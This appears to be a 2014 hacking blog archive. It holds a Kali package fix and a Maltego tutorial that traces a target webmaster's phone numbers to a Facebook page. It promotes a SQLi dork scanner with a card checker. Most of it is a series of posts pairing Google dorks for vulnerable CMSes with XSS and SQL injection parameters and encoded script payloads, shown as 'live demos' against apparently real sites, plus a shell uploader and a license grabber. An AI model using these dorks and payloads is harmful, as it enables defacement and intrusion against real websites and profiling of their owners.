Friday, 25 July 2014

[PHP] Metasploit Pro (Trial) License Grabber

[Kali Linux] How to Fix "Unable to locate package"

Do you ever experience something like this you are about to install something?

E: Unable to locate package...

Here is the solution, download the source.list below and place it in the /etc/apt/ . Replace the old one with the one that you have downloaded.

Permission Denied?
If you cannot copy and paste the source.list to the specific directory even though as root, you need to type in the terminal 

sudo nautilus

You will be prompted to enter your password. Enter your password and try again copy and paste the file into the directory.

What's next?
After done replacing the source.list, open your terminal and type these command.

sudo apt-get update
sudo apt-get -f install

After you have done all of these steps, you now can enjoy installing.

Thursday, 24 July 2014

[Kali Linux] Maltego - Infrastructure Information Gathering

In this tutorial, i'm going to show you how to gather information using Maltego in Kali Linux.

Firstly, open up Maltego.

Applications>Kali Linux>Top 10 Security Tools>Maltego

If this is your first time using it, you need to complete the registration. Once the registration complete. Click on the menu button and select new.

A blank screen will appear. Later, click on pallete. In this tutorial i'm going to show how to gather information from infrastructure. So, click infrastructure, drag and drop "Domain" into your project.

You will see a earth icon with a domain name. Double click on it and change the domain name to your target. In this tutorial, my target is

Close that window and let's start gathering information. Right click on the earth icon, choose Run Transform and then All transform , followed by your choice. In this case, i will use  To phone number [using search engine].

If the result was found, it will produce output like this picture.If nothing appear, that mean not result found.

There are 4 phone numbers, but it doesn't mean all of them belongs to the webmaster, but you can make a try. Now i'm going to use the phone number to get more information. So i will use the phone number to transform it into url. 

After i transform it into URL using search engine, i got a Facebook page. Maybe it's belong to the phone number owner and the webmaster.

I think that's all for now. I hope you understand how to use Maltego. 

Saturday, 12 July 2014

[SQLi-DB] SQLi Dork Scanner

SQLi-DB is a SQL Injection dork scanner. This scanner was coded in C# by RieqyNS13 from Indonesia. And it was recoded and rearrange by K3RAMA7. He make this based on the theme of the famous Defacement Mirror, HACK-DB.

-Multiple Search Engine
-Auto-Rotate Proxy
-Deep Scan
-CC Checker

To use this, it is very easy, simply paste your SQLi dork in the search column and click on the search icon.And you will see the scanning result.

Sunday, 6 July 2014

[XSS] noname-media

intext:"powered by" inurl:"/view.php?id="


Live Demo:,%2097,%2067,%20107,%20101,%20100,%2032,%2066,%20121,%2032,%2078,%2069,%2088,%2085,%2083,%2032,%2033%29%29;%3C/script%3E

NEXUS - Sharing Is Caring

ProActive CMS - XSS

intext:"Powered by Proactive CMS"

 /admin.php?action=newuser (XSS)

Live Demo:,%2097,%2067,%20107,%20101,%20100,%2032,%2066,%20121,%2032,%2078,%2069,%2088,%2085,%2083,%2032,%2033%29%29;%3C/script%3E

NEXUS - Sharing Is Caring

Joomla Collector Shell Uploader



Live Demo:

 NEXUS - Sharing Is Caring

Joomla Aclassif - XSS



Example & Live Demo:,%2097,%2067,%20107,%20101,%20100,%2032,%2066,%20121,%2032,78,%2069,%2088,%2085,%2083,%2032,%2033%29%29;%3C/script%3E

 NEXUS - Sharing Is Caring

Friday, 4 July 2014

Seventeen Design XSS & SQLI

intext:"Producido por: Seventeen Design."

Exploits:*.*id= <SQLI>*.*id= <XSS>

Live Demo:

SQLI + XSS:,%2097,%2067,%20107,%20101,%20100,%2032,%2066,%20121,%2032,%2078,69,%2088,%2085,%2083,%2032,%2033%29%29;%3C/script%3E

NEXUS - Sharing Is Caring

Espacio Ecuador XSS & SQLI

intext:"developed by Espacio Ecuador"

Exploits:*.*?id= <SQLI>*.*?id= < XSS>

Live Demo:



NEXUS - Sharing Is Caring

WordPress zarzadzanie_kontem Plugin


Live Demo:

NEXUS - Sharing Is Caring

Arwen Cross Site Scripting & SQL Injection

intext:"website realizado por Arwen desarrollo web y dise&#241;o"

Exploits: <SQLI> < SQLI> <XSS> <XSS>

Live Demo: 



NEXUS - Sharing Is Caring

MD Webmarketing Cross Site Scripting / SQL Injection

"Desenvolvido por: MD-WEBMARKETING" inurl:.php?id=

Exploits:***.php?id= [SQL Injection]***.php?id=**********&busca= [Cross Site Scripting]

Live Demo:

SQL Injection:

XSS (with HTML scripts):!%3C/h1%3E

XSS (with JavaScript):,%2097,%2067,%20107,%20101,%20100,%2032,%2066,%20121,%2032,%2078,%2069,%2088,%2085,%2083,%2032,%2033%29%29;%3C/script%3E;%3E 

NEXUS - Sharing Is Caring

Thursday, 3 July 2014

milkshakedesign CMS - XSS Vulnerability

intext:"Website by Milkshake Design" inurl:"/programmeview.php?pid="


Example & Live Demo:!%22%29%3C/script%3E

XSS Found By NEXUS !

I found all XSS in those sites :D

mc-creation CMS - XSS Vulnerability

intext:"web design solution" inurl:"product_view.php?pid="
intext:"web design solution"


Examples & Live Demos:


String to char:,%2097,%2067,%20107,%20101,%20100,%2032,%2066,%20121,%2032,%2078,%2069,%2088,%2085,%2083,%2032,%2033%29%29;%3C/script%3E


Morgane CMS - XSS Vulnerability

intext:"" inurl:"/main.php?sid="
intext:"" inurl:"/main.php?id=" 

 Use string to char.. Or use numbers..

Example & Live Demo:

String to char mode:,%2097,%2067,%20107,%20101,%20100,%2032,%2066,%20121,%2032,%2078,%2069,%2088,%2085,%2083,%2032,%2033%29%29;%3C/script%3E,%2097,%2067,%20107,%20101,%20100,%2032,%2066,%20121,%2032,%2078,%2069,%2088,%2085,%2083,%2032,%2033%29%29;%3C/script%3E

Numbers mode (testing mode):;%3C/script%3E;%3C/script%3E
* Can run XSS only on Firefox not Google Chrome :D


Tuesday, 1 July 2014

Kingcow CMS Cross Site Scripting

intext:"Powered by Central" 
* for parameter in search.php is VULNERABLE to XSS..

Or if you can't use normal script.. Change it from string to character: 
"><script>alert(String.fromCharCode(72, 97, 67, 107, 101, 100, 32, 66, 121, 32, 78, 69, 88, 85, 83, 32, 33));</script>&search_submit=Search
 These char "String.fromCharCode(72, 97, 67, 107, 101, 100, 32, 66, 121, 32, 78, 69, 88, 85, 83, 32, 33)" is "HaCked By NEXUS !" using Hack Bar of Firefox...

If you dont have that "Hack Bar" .. Download it from :
Live Demo:,%2097,%2067,%20107,%20101,%20100,%2032,%2066,%20121,%2032,%2078,%2069,%2088,%2085,%2083,%2032,%2033%29%29;%3C/script%3E&search_submit=Search,%2097,%2067,%20107,%20101,%20100,%2032,%2066,%20121,%2032,%2078,%2069,%2088,%2085,%2083%29%29;%3C/script%3E&search_submit=Search

Cm3 CMS Cross Site Scripting (XSS)

intext:"Powered by cm3"
* Keywords & strSearchPhrase Parametrs In Search.asp Are Vulnerable to XSS..

Live Demo:!%22%29;%3C/script%3E&amp;ContainerID=&forumsearchoption=topics